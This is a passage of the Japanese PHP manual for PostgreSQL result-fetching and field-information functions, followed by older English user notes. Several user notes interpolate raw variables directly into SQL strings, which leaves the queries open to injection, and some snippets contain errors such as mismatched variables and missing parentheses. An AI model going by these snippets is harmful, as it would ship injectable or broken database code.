      if (strtolower($value[2]) == 'null') $array[] = null; // NULL
      else $array[] = $value[2];
    }
  }
  return $array;
}

// Some tests to demonstrate this function
var_export(pg_parse_array('{null}'); // Output is Array(null);
var_export(pg_parse_array('{foo,bar}'); // Output is Array('foo', 'bar');
var_export(pg_parse_array('{"null"}'); // Output is Array('null');

?>
Anonymous 19-May-2009 08:24
Beware!  If your query returns multiple columns with the same names, only the right-most one will be contained in the result array.  This can cause problems if you are using a combination of joins:

For example:
<?php
// Let's say that 'pkey' is the primary-key colum for tables a and b (primary keys are never null)
$res = pg_query("Select a.pkey, b.* FROM a LEFT JOIN b using (pkey)");
$data = pg_fetch_assoc($res);
var_dump($data['pkey']) // Is actually b.pkey, may be NULL!
?>

Both tables contain a column named 'pkey'.  Now table 'b' is on the optional side of a LEFT JOIN, so b.pkey (implicitly included via 'b.*') may be NULL.

The problem arises when you use pg_fetch_assoc(), there are two columns named 'pkey' but the result array can only contain one value per key -- in this case it will pick the one from table B instead of the one from table A, and since B is on the optional side of the left-join, $data['pkey'] may be NULL.  So if you're expecting to retrieve the column from table A, you need to use a different pg_fetch() or rewrite your query to avoid ambiguity.
Anonymous 13-Oct-2008 05:18
bytea columns are returned escaped.
you need to call pg-unescape-bytea() on them to get the original binary back.
Anonymous 13-Oct-2008 04:03
regarding the optional int parameter

requesting a row number that is not present in the result set is an error. don't do it.

check with pg_num_rows() beforehand, or  just use the default behavior which returns the rows in order and false after returning the last row it returns false immediately if no rows were returned.
strata_ranger at hotmail dot com 26-Aug-2008 03:01
In a bit of follow-up to Luke's note about SQL booleans (this was a painful thing to learn the hard way), a relatively easy workaround is to typecase the boolean columns to integer inside the query, e.g:

<?php
// Assuming 'foo' is a table column of type boolean
$res = pg_query("Select foo as foo1, foo::integer as foo2 from bar");

$data = pg_fetch_assoc($res);
if ($data['foo1']) echo 'foo1 = TRUE'; // Doesn't work as expected (string 't' and string 'f' both evaluate as TRUE)
if ($data['foo2']) echo 'foo2 = TRUE'; // Works as expected (string '0' evaluates as FALSE)
?>
javier dot vilarroig at gmail dot com 02-Oct-2007 09:57
Is worth to know that when you query on multiple tables only the first row with each name is returned.

That is, if you are joining to tables with a column called 'name' you will receive only one field called name in the array and it will correspond to the one on the first table.

Is advisable to allways allias your columns in that stuation.
johniskew 01-Mar-2007 09:28
Here is another way to iterate a resultset and display all columns in very little code... might be faster than a foreach

<?php

print '<table>';
while($row=pg_fetch_assoc($rs2)) print '<tr><td>'.join('</td><td>',$row2).'</td></tr>';
print '</table>';

?>
24-May-2006 12:59
If you request a row that does not exist, it just fails, rather than simply returning false.
Luke 22-Sep-2005 06:34
Note:

PostgreSQL boolean values set to TRUE are returned as the string "t"

PostgreSQL boolean values set to FALSE are returned as the string "f"
petrus at bmail dot com dot au 24-Feb-2005 07:22
$dbconn3 = pg_connect("host=127.0.0.1 port=5432 dbname=blah user=blah password=blah");
$result = pg_query($dbconn3, "SELECT * FROM Packages");

 echo "<HTML><HEAD><TITLE>PostgreSQL Test Page</TITLE></HEAD><BODY>";
 echo "<TABLE>";

$pkg = pg_fetch_assoc($result);
foreach ($pkg as $value) {
    echo "<TR><TD>$value";
    echo "</TR></TD>";
 }

echo "</TABLE><P>";
echo "This package's full filename is: {$pkg['name']}-{$pkg['version']}{$pkg['extension']}";
echo "</BODY></HTML>";

For generating tables, this works, and personally I prefer foreach() to while loops because there's no danger of accidentally causing an infinite loop...foreach only works for as long as it has something to work with, and then stops.  I thought the echo down the bottom might come in handy, too...took me a bit to find that out.
spam at pasher dot org 24-Oct-2003 06:35
An important thing to note (as of PHP 4.3.2):

If you are used to using the "extended" comparision operators (=== and !==) to try to make your code easier to follow visually, this function will return NULL if the provided resource handle is invalid (as opposed to false). ie,

$rs = @pg_query('SELECT * FROM fake_table');
while (false !== ($row = @pg_fetch_assoc($rs)))
{
    print_r($row);
}

Obviously you should check to see if $rs === false before you start the while loop, but this example is used to illustrate a potential infinite loop problem if $rs IS false.
ninja (whorl) thinkninja (stop) com 21-Jun-2003 08:29
If you are moving between different versions of PHP, this might be handy:

if (!function_exists('pg_fetch_assoc')) {
    function pg_fetch_assoc ($result)
    {
      return @pg_fetch_array($result, NULL, PGSQL_ASSOC);
    }
}
Brenton Strickler 06-Jan-2003 05:53
At a glance, the syntax listed at the top of this page doesn't match the example.  The PGSQL_ASSOC flag isn't necessary.


行をオブジェクトとして得る

  • ≪ pg_fetch_assoc
  • pg_fetch_result ≫
  • PHP Manual
  • PostgreSQL 関数
  • 行をオブジェクトとして得る

pg_fetch_object

(PHP 4, PHP 5, PHP 7, PHP 8)

pg_fetch_object — 行をオブジェクトとして得る

説明

pg_fetch_object ( resource $result , int $row = ? , int $result_type = PGSQL_ASSOC ) : object
pg_fetch_object ( resource $result , int $row = ? , string $class_name = ? , array $params = ? ) : object

pg_fetch_object() は、取得した行のフィールド名に 対応するプロパティを有するオブジェクトを返します。オプションとして、 指定したクラスのコンストラクタにパラメータを渡してインスタンス化する ことも可能です。

注意: この関数は、 NULL フィールドに PHPの null 値を設定します。

速度面では、この関数は pg_fetch_array() と同じであり、 pg_fetch_row() とほとんど同じ程度です （違いはわずかです）。

パラメータ

result

pg_query(), pg_query_params() あるいは pg_execute() から返される PostgreSQL の クエリ結果リソース。

row

取得する行番号。最初の行は 0 です。省略したり null を指定したりした場合は、 次の行を取得します。

result_type

非推奨で、無視されます。

class_name

インスタンス化し、プロパティを設定して返り値とするクラスの名前。 指定しない場合は stdClass オブジェクトが返されます。

params

class_name オブジェクトのコンストラクタに 渡すオプションの配列。

返り値

結果の各フィールドに対応する属性を持つ object を返します。 データベースの NULL 値は null として返します。

row が結果の行数より大きい場合・行が存在しない場合 、そしてそれ以外のエラーが発生した場合は false を返します。

例

例1 pg_fetch_object() の例

<?php

$database = "store";

$db_conn = pg_connect("host=localhost port=5432 dbname=$database");
if (!$db_conn) {
  echo "Failed connecting to postgres database $database\n";
  exit;
}

$qu = pg_query($db_conn, "SELECT * FROM books ORDER BY author");

while ($data = pg_fetch_object($qu)) {
  echo $data->author . " (";
  echo $data->year . "): ";
  echo $data->title . "<br />";
}

pg_free_result($qu);
pg_close($db_conn);

?>

参考

  • pg_query() - クエリを実行する
  • pg_fetch_array() - 行を配列として取得する
  • pg_fetch_assoc() - 行を連想配列として取得する
  • pg_fetch_row() - 数値添字の配列として行を得る
  • pg_fetch_result() - 結果リソースから値を返す

User Contributed Notes

qeremy [atta] gmail [dotta] com 27-Jul-2012 12:20
Getting db results as object.

<?php
$qry = pg_query("SELECT * FROM users");

$rows = array();
while ($fch = pg_fetch_object($qry)) {
   $rows[] = $fch;
}

// or

$rows = array_map(function($a){
   return (object) $a;
}, (array) pg_fetch_all($qry));
?>
ekevu at yahoo dot com 02-Jul-2007 07:36
PostgreSQL boolean true becomes string "t"
PostgreSQL boolean false becomes string "f"
This is ambiguous, and leads to code duplication. I wonder why aren't the types correctly typed when fetching values. We could at least have an optional parameter to enable that.
robeddielee at hotmail dot com 27-Jan-2006 11:38
I noticed that many people use FOR loops to extract query data. This is the method I use to extract data.

<?php
 @$members = pg_query($db_conn, 'SELECT id,name FROM boards.members ORDER BY name;');
 if ($members AND pg_num_rows($members)) {
  while ($member = pg_fetch_object($members)) {
   echo $member->name.' ('.$member->id.')';
  }
 }
?>

If an error occurs (or nothing is returned) in the above code nothing will output. An ELSE clause can be added to the IF to handle query errors (or nothing being returned). Or a seperate check can be performed for the event that nothing is returned by using an ELSEIF clause.

I like this method because it doesn't use any temporary counter variables.
oracle dot shinoda at gmail dot com 15-Nov-2004 06:13
If you're wanting to use objects for your results, but are put off because you can't seem to apply a function to each field of the result (like stripslashes for example), try this code:

<?php
// Code to connect, do query etc etc...

$row = pg_fetch_object($result);
$vars = get_object_vars($row);
foreach ( $vars as $key => $var )
{
    $row->{$key} = stripslashes($var);
}

?>
michiel at minas-2 dot demon dot nl 16-Jun-2004 08:13
Something I have learned to use:

$result=$pg_query (...);
$num = pg_numrows($result);

for($count=0;$count < $num && $data=pg_fetch_object($result,$count);$count++)
{
    printf("<tr>\n");
    printf("    <td>%s</td>\n",$data->foo);
    printf("    <td>%s</td>\n",$data->bar);
    printf("</tr>\n");
}
Lars at dybdahl dot dk 14-Oct-2003 08:43
When you retrieve the contents of a "timestamp with timezone" field, this will set the environment's timezone variables. Therefore, this is dangerous:

$s=$row->mydatefield;
$unixtimestamp=postgresqltimestamp2unix($s);
echo date("Y-m-d H:i:s",$unixtimestamp);

Here, postgresqltimestamp2unix is a function that converts the postgresql timestamp to Unix. The retrieval of the field data in the first line of the example above will influence the timezone used in date() in the third line.
ian at eiloart dot com 09-Feb-2003 07:27
This isn't all that useful. If you do, for example, foreach($row as $field) then you still get every value twice!

You can do something like this, though:

foreach ($line as $key => $cell){
     if (! is_numeric($key)){
                echo "<td>$key $cell</td>";
     }
}

is is_numeric strict enough?
inbox at bucksvsbytes dot com 16-Mar-2002 09:13
The result_type arg is either invalid or incorrectly documented, since the "result_type is optional..." paragraph is copied verbatim from pg_fetch_array, and the PGSQL_NUM option is in conflict with the preceding paragraph's, "you can only access the data by the field names, and not by their
offsets."


結果リソースから値を返す

  • ≪ pg_fetch_object
  • pg_fetch_row ≫
  • PHP Manual
  • PostgreSQL 関数
  • 結果リソースから値を返す

pg_fetch_result

(PHP 4 >= 4.2.0, PHP 5, PHP 7, PHP 8)

pg_fetch_result — 結果リソースから値を返す

説明

pg_fetch_result ( resource $result , int $row , mixed $field ) : string|false|null
pg_fetch_result ( resource $result , mixed $field ) : string|false|null

pg_fetch_result() は、PostgreSQL 結果リソースから 特定の行とフィールド（カラム）の値を返します。

注意:

この関数は、以前は pg_result() という名前でした。

パラメータ

result

pg_query(), pg_query_params() あるいは pg_execute() から返される PostgreSQL の クエリ結果リソース。

row

結果から取得する行の番号。行番号は 0 から始まります。指定しなかった 場合は、次の行が読み込まれます。

field

取得するフィールド（カラム）の名前を表す文字列、あるいは取得する フィールドの番号。フィールド番号は 0 から始まります。

返り値

論理型の値は "t" あるいは "f" の形式で返します。 配列を含むそれ以外の型は、PostgreSQL のやりかたにしたがって文字列として フォーマットされた形式で返します。これは psql プログラムの出力と同じ形式です。データベースの NULL 値は、null として返します。

row が結果の行数より大きい場合、 あるいはそれ以外のエラーが発生した場合は false を返します。

例

例1 pg_fetch_result() の例

<?php
$db = pg_connect("dbname=users user=me") || die();

$res = pg_query($db, "SELECT 1 UNION ALL SELECT 2");

$val = pg_fetch_result($res, 1, 0);

echo "First field in the second row is: ", $val, "\n";
?>

上の例の出力は以下となります。

First field in the second row is: 2

参考

  • pg_query() - クエリを実行する
  • pg_fetch_array() - 行を配列として取得する

User Contributed Notes

ElDiablo 02-Oct-2018 11:25
Please note that a very old bug (#76548) has been fixed in 7.2.8.

Previously, pg_fetch_result did not fetch the next row if $row was omitted.
It is now well the case, so bad use of the function can now cause some bugs in your codes.
Alan U. Kennington 22-Sep-2006 06:49
See bug #33809 http://bugs.php.net/bug.php?id=33809
Whether this really is a bug or a feature is not clear.
However, it is probably best to always put your column names in extra quotes.

$res = pg_query(...);
$colname = pg_field_name($res, $j);
pg_fetch_result($res, $i, "\"$colname\"");
Alan U Kennington 22-Sep-2006 05:16
In order to use upper case in pg_fetch_result column names, it is apparently necessary to include explicit quotation marks.

Thus when I do this sort of thing:

$res = pg_query(...);
$ncols = pg_num_fields($res);
for ($j = 0; $j < $ncols; ++$j) {
    $colname[$j] = pg_field_name($res, $j);
    $name = htmlspecialchars($colname[$j]);
    print("Column $j name = \"$name\"\n");
    $value = htmlspecialchars(pg_fetch_result($res, 0, $colname[$j]));
    print("Column \"{$colname[$j]}\" value = \"$value\"\n");
    }

I get this sort of thing:

[....]
Warning: pg_fetch_result() [function.pg-fetch-result]: Bad column offset specified in /.../view.php on line 247
Column 8 name = "VEC index"
Column "VEC index" value = ""

But if I change the $value line to this:

$value = htmlspecialchars(pg_fetch_result($res, 0, "\"$colname[$j]\""));

I get this:

[...]
Column 8 name = "VEC index"
Column "VEC index" value[0] = "47"

In my opinion, pg_fetch_result(...) should use the quotes already. In other words, this may be a bug in the PHP postgres library. It does not seem to be a documented feature of pg_fetch_result() although the postgresql manual documents it under "SQL syntax", "Lexical structure".

PHP version 5.1.4.
psql version 8.1.4.
Akbar 01-Dec-2004 08:01
Use can use pg_fetch_result when getting a value (like a smallint as in this example) returned by your stored procedure

<?php
$pgConnection = pg_connect("dbname=users user=me");

$userNameToCheckFor = "metal";

$result = pg_query($pgConnection, "SELECT howManyUsersHaveThisName('$userNameToCheckFor')");

$count = pg_fetch_result($result, 0, 'howManyUsersHaveThisName');

?>
newby_AT_nobletec_DOT_com 04-Sep-2002 08:12
Comment on boolean fields:

If you retrieve a boolean value from the PostgreSQL database, be aware that the value returned will be either the character 't' or the character 'f', not an integer.  So, the statement

     if (pg_fetch_result($rsRecords,0,'blnTrueFalseField')) {
       echo "TRUE";
     } else {
       echo "FALSE";
     }

will echo "TRUE" in either case (True or False stored in the field).  In order to work as expected, do this instead:

     if (pg_fetch_result($rsRecords,0,'blnTrueFalseField') == 't') {
       echo "TRUE";
     } else {
       echo "FALSE";
     }


数値添字の配列として行を得る

  • ≪ pg_fetch_result
  • pg_field_is_null ≫
  • PHP Manual
  • PostgreSQL 関数
  • 数値添字の配列として行を得る

pg_fetch_row

(PHP 4, PHP 5, PHP 7, PHP 8)

pg_fetch_row — 数値添字の配列として行を得る

説明

pg_fetch_row ( resource $result , int $row = ? ) : array

pg_fetch_row() は、指定した result リソースが指す結果から 1 行分のデータを取得します。

注意: この関数は、 NULL フィールドに PHPの null 値を設定します。

パラメータ

result

pg_query(), pg_query_params() あるいは pg_execute() から返される PostgreSQL の クエリ結果リソース。

row

取得する行番号。最初の行は 0 です。省略したり null を指定したりした場合は、 次の行を取得します。

返り値

個々の値を文字列として格納した配列を返します。配列の添字は 0 から 始まります。データベースの NULL 値は null として返します。

row が結果の行数より大きい場合・行が存在しない場合 、そしてそれ以外のエラーが発生した場合は false を返します。

例

例1 pg_fetch_row() の例

<?php

$conn = pg_pconnect("dbname=publisher");
if (!$conn) {
  echo "An error occurred.\n";
  exit;
}

$result = pg_query($conn, "SELECT author, email FROM authors");
if (!$result) {
  echo "An error occurred.\n";
  exit;
}

while ($row = pg_fetch_row($result)) {
  echo "Author: $row[0]  E-mail: $row[1]";
  echo "<br />\n";
}

?>

参考

  • pg_query() - クエリを実行する
  • pg_fetch_array() - 行を配列として取得する
  • pg_fetch_object() - 行をオブジェクトとして得る
  • pg_fetch_result() - 結果リソースから値を返す

User Contributed Notes

eddie at eddiemonge dot com 06-Oct-2009 05:09
pg_fetch_row is faster than pg_fetch_assoc when doing a query with * as the select parameter. Otherwise, with declared columns, the two are similar in speed.
pletiplot at seznam dot cz 06-Jun-2006 03:18
Note, that when you retrieve some PG boolean value, you get 't' or 'f' characters which are not compatible with PHP bool.
post at zeller-johannes dot de 26-Apr-2005 02:51
I wondered whether array values of PostgreSQL are converted to PHP arrays by this functions. This is not the case, they are stored in the returned array as a string in the form "{value1 delimiter value2 delimiter value3}" (See http://www.postgresql.org/docs/8.0/interactive/arrays.html#AEN5389).
maxnamara at yahoo dot com 14-Oct-2004 12:03
Get downlines, put them into arrays.

function get_downlines($my_code){
    global $link;

    $sql = "select user_id, name from tb_user where parentcode = $my_code";
    $res = pg_query($link,$sql);
    if(!$res){
        echo "Error: ".$sql;exit();
    }
    $num_fields = pg_num_fields($res);
    $info_rows = 0;

    $num_rows = pg_num_rows($res);
    while($arr = pg_fetch_row($res)){

           $info_offset  = 1;
         $info_columns  = 0;

        while ($info_offset <= $num_fields) {
                 $info_elements[$info_rows][$info_columns] = $arr[$info_columns];
                 $info_offset++; $info_columns++;
        }
        $info_rows++;
    }
return $info_elements;
}
Matthew Wheeler 22-May-2003 09:29
Note that the internal row counter is incremented BEFORE the row is retrieved. This causes an off by one error if you try to do:

pg_result_seek($resid,0);
pg_fetch_row($resid);

you will get back the SECOND result not the FIRST.
imantr at cbn dot net dot id 23-Jul-2002 08:38
I use the following code to assigning query result to an array.

while ($row = pg_fetch_row($result)) $newArray[] = $row[0];

print_r($newArray);
darw75 at swbell dot net 22-Aug-2001 05:39
a way to do this with 2 loops to insert data into a table...

$num = pg_numrows($result);
$col_num = pg_numfields($result);

for ($i=0; $i<$num; $i++) {
  $line  = pg_fetch_array($result, $i, PGSQL_ASSOC);
  print "\t<tr bgcolor=#dddddd>\n";
    for ($j=0; $j<$col_num; $j++){
    list($col_name, $col_value) =each($line);
    print "\t\t<TD ALIGN=RIGHT><FONT SIZE=1 FACE='Geneva'>$col_value</FONT></TD>\n";
    }
  echo "<br>";
  }


フィールドが SQL の NULL かどうか調べる

  • ≪ pg_fetch_row
  • pg_field_name ≫
  • PHP Manual
  • PostgreSQL 関数
  • フィールドが SQL の NULL かどうか調べる

pg_field_is_null

(PHP 4 >= 4.2.0, PHP 5, PHP 7, PHP 8)

pg_field_is_null — フィールドが SQL の NULL かどうか調べる

説明

pg_field_is_null ( resource $result , int $row , mixed $field ) : int
pg_field_is_null ( resource $result , mixed $field ) : int

pg_field_is_null() は、PostgreSQL 結果リソースの フィールドが SQL の NULL であるかどうかを調べます。

注意:

この関数は、以前は pg_fieldisnull() と呼ばれていました。

パラメータ

result

pg_query(), pg_query_params() あるいは pg_execute() から返される PostgreSQL の クエリ結果リソース。

row

取得する結果の行番号。行番号は 0 から始まります。指定しなかった場合は カレントの行を取得します。

field

（0 から始まる）フィールド番号を表す数値、 あるいはフィールド名を表す文字列。

返り値

指定した行のフィールドが SQL の NULL だった場合に 1、そうでない場合に 0 を返します。 もし範囲外の行を指定したりその他のエラーが発生したりした場合には false を返します。

例

例1 pg_field_is_null() の例

<?php
  $dbconn = pg_connect("dbname=publisher") or die ("Could not connect");
  $res = pg_query($dbconn, "select * from authors where author = 'Orwell'");
  if ($res) {
      if (pg_field_is_null($res, 0, "year") == 1) {
          echo "The value of the field year is null.\n";
      }
      if (pg_field_is_null($res, 0, "year") == 0) {
          echo "The value of the field year is not null.\n";
    }
 }
?>

User Contributed Notes

There are no user contributed notes for this page.


フィールドの名前を返す

  • ≪ pg_field_is_null
  • pg_field_num ≫
  • PHP Manual
  • PostgreSQL 関数
  • フィールドの名前を返す

pg_field_name

(PHP 4 >= 4.2.0, PHP 5, PHP 7, PHP 8)

pg_field_name — フィールドの名前を返す

説明

pg_field_name ( resource $result , int $field_number ) : string

pg_field_name() は、指定した PostgreSQL result リソースの指定した field_number にあるフィールドの名前を 返します。フィールド番号は 0 から始まります。

注意:

この関数は、以前は pg_fieldname() と呼ばれていました。

パラメータ

result

pg_query(), pg_query_params() あるいは pg_execute() から返される PostgreSQL の クエリ結果リソース。

field_number

フィールド番号。0 から始まります。

返り値

フィールド名を返します。エラー時には false を返します。

例

例1 フィールド情報を取得する

<?php
  $dbconn = pg_connect("dbname=publisher") or die("Could not connect");

  $res = pg_query($dbconn, "select * from authors where author = 'Orwell'");
  $i = pg_num_fields($res);
  for ($j = 0; $j < $i; $j++) {
      echo "column $j\n";
      $fieldname = pg_field_name($res, $j);
      echo "fieldname: $fieldname\n";
      echo "printed length: " . pg_field_prtlen($res, $fieldname) . " characters\n";
      echo "storage length: " . pg_field_size($res, $j) . " bytes\n";
      echo "field type: " . pg_field_type($res, $j) . " \n\n";
  }
?>

上の例の出力は以下となります。

column 0
fieldname: author
printed length: 6 characters
storage length: -1 bytes
field type: varchar

column 1
fieldname: year
printed length: 4 characters
storage length: 2 bytes
field type: int2

column 2
fieldname: title
printed length: 24 characters
storage length: -1 bytes
field type: varchar

参考

  • pg_field_num() - 指定されたフィールドのフィールド番号を返す

User Contributed Notes

12-Aug-2004 10:01
In fact you can extract the size of the varchar field, by simply sending the following query:
"select a.atttypmod,a.attrelid from pg_attribute as a, pg_class as c where c.relname='$table' AND a.attrelid=c.oid AND a.attname='$field'"

here is a simple function that does that:

function get_field_size($table, $field, $link) {

        $result = pg_query($link, "select a.atttypmod,a.attrelid from pg_attribute as a, pg_class as c where c.relname='$table' AND a.attrelid=c.oid AND a.attname='$field'");

        $data = pg_fetch_object($result);

        return ($data->atttypmod - 4);

}

returned value is a size of a given field (also varchar)
ccasal at compuserve dot com 12-Jan-2001 11:51
The pg_fieldname function only returns the unqualified name from the select statement. example:

select c.name, con.name from customer c, contacts con where con.customer_id = c.id;

pg_fieldname will return "name" for both fields instead of c.name and con.name.

This is a PostgreSQL limitation, not a PHP limitation.

if you need different field names you should use :

select c.name as customer_name, con.name as contact_name from customer c, contacts con where con.customer_id = c.id;

then pg_fieldname will return "customer_name" and "contact_name"


指定されたフィールドのフィールド番号を返す

  • ≪ pg_field_name
  • pg_field_prtlen ≫
  • PHP Manual
  • PostgreSQL 関数
  • 指定されたフィールドのフィールド番号を返す

pg_field_num

(PHP 4 >= 4.2.0, PHP 5, PHP 7, PHP 8)

pg_field_num — 指定されたフィールドのフィールド番号を返す

説明

pg_field_num ( resource $result , string $field_name ) : int

pg_field_num() は、指定した PostgreSQL の 結果リソース(result)において field_name に相当するカラム(フィールド) のフィールド番号を返します。

注意:

この関数は、以前は pg_fieldnum() と呼ばれていました。

パラメータ

result

pg_query(), pg_query_params() あるいは pg_execute() から返される PostgreSQL の クエリ結果リソース。

field_name

フィールドの名前。

返り値

フィールド番号（0 から始まります）を返します。エラー時には -1 を返します。

例

例1 フィールドの情報を取得する

<?php
  $dbconn = pg_connect("dbname=publisher") or die("Could not connect");

  $res = pg_query($dbconn, "select author, year, title from authors where author = 'Orwell'");

  echo "Column 'title' is field number: ", pg_field_num($res, 'title');
?>

上の例の出力は以下となります。

Column 'title' is field number: 2

参考

  • pg_field_name() - フィールドの名前を返す

User Contributed Notes

There are no user contributed notes for this page.


表示される長さを返す

  • ≪ pg_field_num
  • pg_field_size ≫
  • PHP Manual
  • PostgreSQL 関数
  • 表示される長さを返す

pg_field_prtlen

(PHP 4 >= 4.2.0, PHP 5, PHP 7, PHP 8)

pg_field_prtlen — 表示される長さを返す

説明

pg_field_prtlen ( resource $result , int $row_number , mixed $field_name_or_number ) : int
pg_field_prtlen ( resource $result , mixed $field_name_or_number ) : int

pg_field_prtlen() は、PostgreSQL の result の指定した値に関して、実際に 表示した場合の長さ(文字の数)を返します。行番号(row_number)は 0 から始まります。この関数は、エラーの場合に false を返します。

field_name_or_number は、int または string のどちらかで渡すことが可能です。 int で渡された場合、PHP はそれをフィールド番号と判断 します。それ以外の場合はフィールド名と判断します。

pg_field_name() ページの例を参照ください。

注意:

この関数は、以前は pg_fieldprtlen() と呼ばれていました。

パラメータ

result

pg_query(), pg_query_params() あるいは pg_execute() から返される PostgreSQL の クエリ結果リソース。

row

結果の行番号。行番号は 0 から始まります。指定しなかった場合は カレントの行を取得します。

返り値

フィールドの表示される長さを返します。エラー時には false を返します。

例

例1 フィールドの情報を取得する

<?php
  $dbconn = pg_connect("dbname=publisher") or die("Could not connect");

  $res = pg_query($dbconn, "select * from authors where author = 'Orwell'");
  $i = pg_num_fields($res);
  for ($j = 0; $j < $i; $j++) {
      echo "column $j\n";
      $fieldname = pg_field_name($res, $j);
      echo "fieldname: $fieldname\n";
      echo "printed length: " . pg_field_prtlen($res, $fieldname) . " characters\n";
      echo "storage length: " . pg_field_size($res, $j) . " bytes\n";
      echo "field type: " . pg_field_type($res, $j) . " \n\n";
  }
?>

上の例の出力は以下となります。

column 0
fieldname: author
printed length: 6 characters
storage length: -1 bytes
field type: varchar

column 1
fieldname: year
printed length: 4 characters
storage length: 2 bytes
field type: int2

column 2
fieldname: title
printed length: 24 characters
storage length: -1 bytes
field type: varchar

参考

  • pg_field_size() - 指定したフィールドの内部記憶領域におけるサイズを返す

User Contributed Notes

djmaze@moocms 25-Aug-2007 05:01
Or even easier to keep things simple on fetching

SELECT a.attname AS name, t.typname AS type, a.attstorage AS i,
    CASE WHEN a.attlen = -1 THEN a.atttypmod ELSE a.attlen END AS size
    FROM pg_attribute a , pg_class c, pg_type t
    WHERE c.relname = 'moo_members'
    AND a.attrelid = c.oid AND a.atttypid = t.oid and a.attnum > 0 and not a.attisdropped
gregm at gxsnmp dot org 12-Feb-2007 08:11
If you update the query to this:

$s = "SELECT a.attname AS name, t.typname AS type, a.attlen AS size, a.atttypmod AS len, a.attstorage AS i
   FROM pg_attribute a , pg_class c, pg_type t
   WHERE c.relname = '$TABLE'
   AND a.attrelid = c.oid AND a.atttypid = t.oid and a.attnum > 0 and not a.attisdropped";

You get postgres to filter out the 'postgres' columns and get only your columns back.
r dot galovic at r-3 dot at 18-Apr-2005 01:54
mysql_field_len () function and more for postgres ...

problems ...
* pg_field_prtlen ... gives the actual size of the field back (it shows the count of the content allready inside the field - not the possible max-len)
* pg_filed_size ... can't be used for varchar or bpchar fields

...but there is a way to get the real-max-length of a field in postgreSQL via the system tables:

//returns an array with infos of every field in the table (name, type, length, size)
function SQLConstructFieldsInfo($TABLE, $DBCON)
{
    $s="SELECT a.attname AS name, t.typname AS type, a.attlen AS size, a.atttypmod AS len, a.attstorage AS i
    FROM pg_attribute a , pg_class c, pg_type t
    WHERE c.relname = '$TABLE'
    AND a.attrelid = c.oid AND a.atttypid = t.oid";

    if ($r = pg_query($DBCON,$s))
    {
        $i=0;
        while ($q = pg_fetch_assoc($r))
        {
               $a[$i]["type"]=$q["type"];
               $a[$i]["name"]=$q["name"];
               if($q["len"]<0 && $q["i"]!="x")
               {
                   // in case of digits if needed ... (+1 for negative values)
                   $a[$i]["len"]=(strlen(pow(2,($q["size"]*8)))+1);
               }
               else
               {
                   $a[$i]["len"]=$q["len"];
               }
               $a[$i]["size"]=$q["size"];
            $i++;
        }
        return $a;
    }
    return null;
}

// usage
$DBCON=pg_connect("host=YOUR-HOST port=YOUR-PORT dbname=YOUR-DB user=YOUR-USER password=YOUR-PASS");
$TABLE="YOUR-TABLENAME";
$RET=SQLConstructFieldsInfo($TABLE, $DBCON);

$j = count($RET);
for ($i=0; $i < $j; $i++)
{
    echo "<br>$i name=".$RET[$i]["name"]." type=".$RET[$i]["type"]." length=".$RET[$i]["len"]." size=".$RET[$i]["size"]." bytes";
}


指定したフィールドの内部記憶領域におけるサイズを返す

  • ≪ pg_field_prtlen
  • pg_field_table ≫
  • PHP Manual
  • PostgreSQL 関数
  • 指定したフィールドの内部記憶領域におけるサイズを返す

pg_field_size

(PHP 4 >= 4.2.0, PHP 5, PHP 7, PHP 8)

pg_field_size — 指定したフィールドの内部記憶領域におけるサイズを返す

説明

pg_field_size ( resource $result , int $field_number ) : int

pg_field_size() は、指定した PostgreSQL の 結果において、指定したフィールド番号の内部記憶領域のサイズを (バイト数で)返します。

注意:

この関数は、以前は pg_fieldsize() と呼ばれていました。

パラメータ

result

pg_query(), pg_query_params() あるいは pg_execute() から返される PostgreSQL の クエリ結果リソース。

field_number

フィールド番号。0 から始まります。

返り値

内部記憶領域のサイズ（バイト数）を返します。-1 は可変長フィールドを 示します。エラー時には false を返します。

例

例1 フィールドの情報を取得する

<?php
  $dbconn = pg_connect("dbname=publisher") or die("Could not connect");

  $res = pg_query($dbconn, "select * from authors where author = 'Orwell'");
  $i = pg_num_fields($res);
  for ($j = 0; $j < $i; $j++) {
      echo "column $j\n";
      $fieldname = pg_field_name($res, $j);
      echo "fieldname: $fieldname\n";
      echo "printed length: " . pg_field_prtlen($res, $fieldname) . " characters\n";
      echo "storage length: " . pg_field_size($res, $j) . " bytes\n";
      echo "field type: " . pg_field_type($res, $j) . " \n\n";
  }
?>

上の例の出力は以下となります。

column 0
fieldname: author
printed length: 6 characters
storage length: -1 bytes
field type: varchar

column 1
fieldname: year
printed length: 4 characters
storage length: 2 bytes
field type: int2

column 2
fieldname: title
printed length: 24 characters
storage length: -1 bytes
field type: varchar

参考

  • pg_field_prtlen() - 表示される長さを返す
  • pg_field_type() - フィールド番号に対応する型名を返す

User Contributed Notes

ij at NOSPAM dot irj dot co dot za 14-Jun-2005 04:21
To view the file structure of a table using a sql query

select pg_class.relname, pg_attribute.attname, pg_type.typname, pg_type.typlen from pg_class, pg_attribute, pg_type  where pg_class.relname = 'YOURTABLENAME' and pg_class.oid = pg_attribute.attrelid and pg_type.oid = pg_attribute.atttypid having attnum > 0
php at tribun dot de 23-Feb-2005 05:49
function get_create_syntax( $table )
{
  $qry  =  "
            SELECT    *
            FROM      $table
            LIMIT     1
          ";
  $res = pg_query( $qry );
  $row = pg_fetch_assoc( $res );

  $create = "CREATE TABLE $table \n(\n";

  $item = array();
  for( $i = 0; $i < count( $row ); $i++ )
  {
    $name = pg_field_name( $res, $i );
    $type = pg_field_type( $res, $i );
    $size = pg_field_size( $res, $i );

    $item[$i] = '"'.$name.'" '.$type;

    $qry  =  "
              SELECT    a.atttypmod    AS size,
                        a.attnotnull  AS notnull
              FROM      pg_attribute  AS a,
                        pg_class      AS c
              WHERE     c.relname   = '$table'
              AND       a.attrelid  =  c.oid
              AND       a.attname    =  '$name'
             ";
    $res2  = pg_query( $qry );
    $out  = pg_fetch_object( $res2 );

    if( $out -> size != -1 )
    {
      $item[$i] .= '('.( $out -> size - 4 ).')';
    }
    if( $out -> notnull == 't' )
    $item[$i] .= ' NOT';

    $item[$i] .= ' NULL';

  }
  $create .= implode( ",\n", $item ) ."\n);";

  return $create;
}
alex at linuxNOSPAM dot org dot pe 02-Jul-2002 09:44
How i can extract the struct of a Postgresql Table?

I want to do a dynamic php code, that see the pg table, and print name, type and size of fields


tables フィールドの名前あるいは oid を返す

  • ≪ pg_field_size
  • pg_field_type_oid ≫
  • PHP Manual
  • PostgreSQL 関数
  • tables フィールドの名前あるいは oid を返す

pg_field_table

(PHP 5 >= 5.2.0, PHP 7, PHP 8)

pg_field_table — tables フィールドの名前あるいは oid を返す

説明

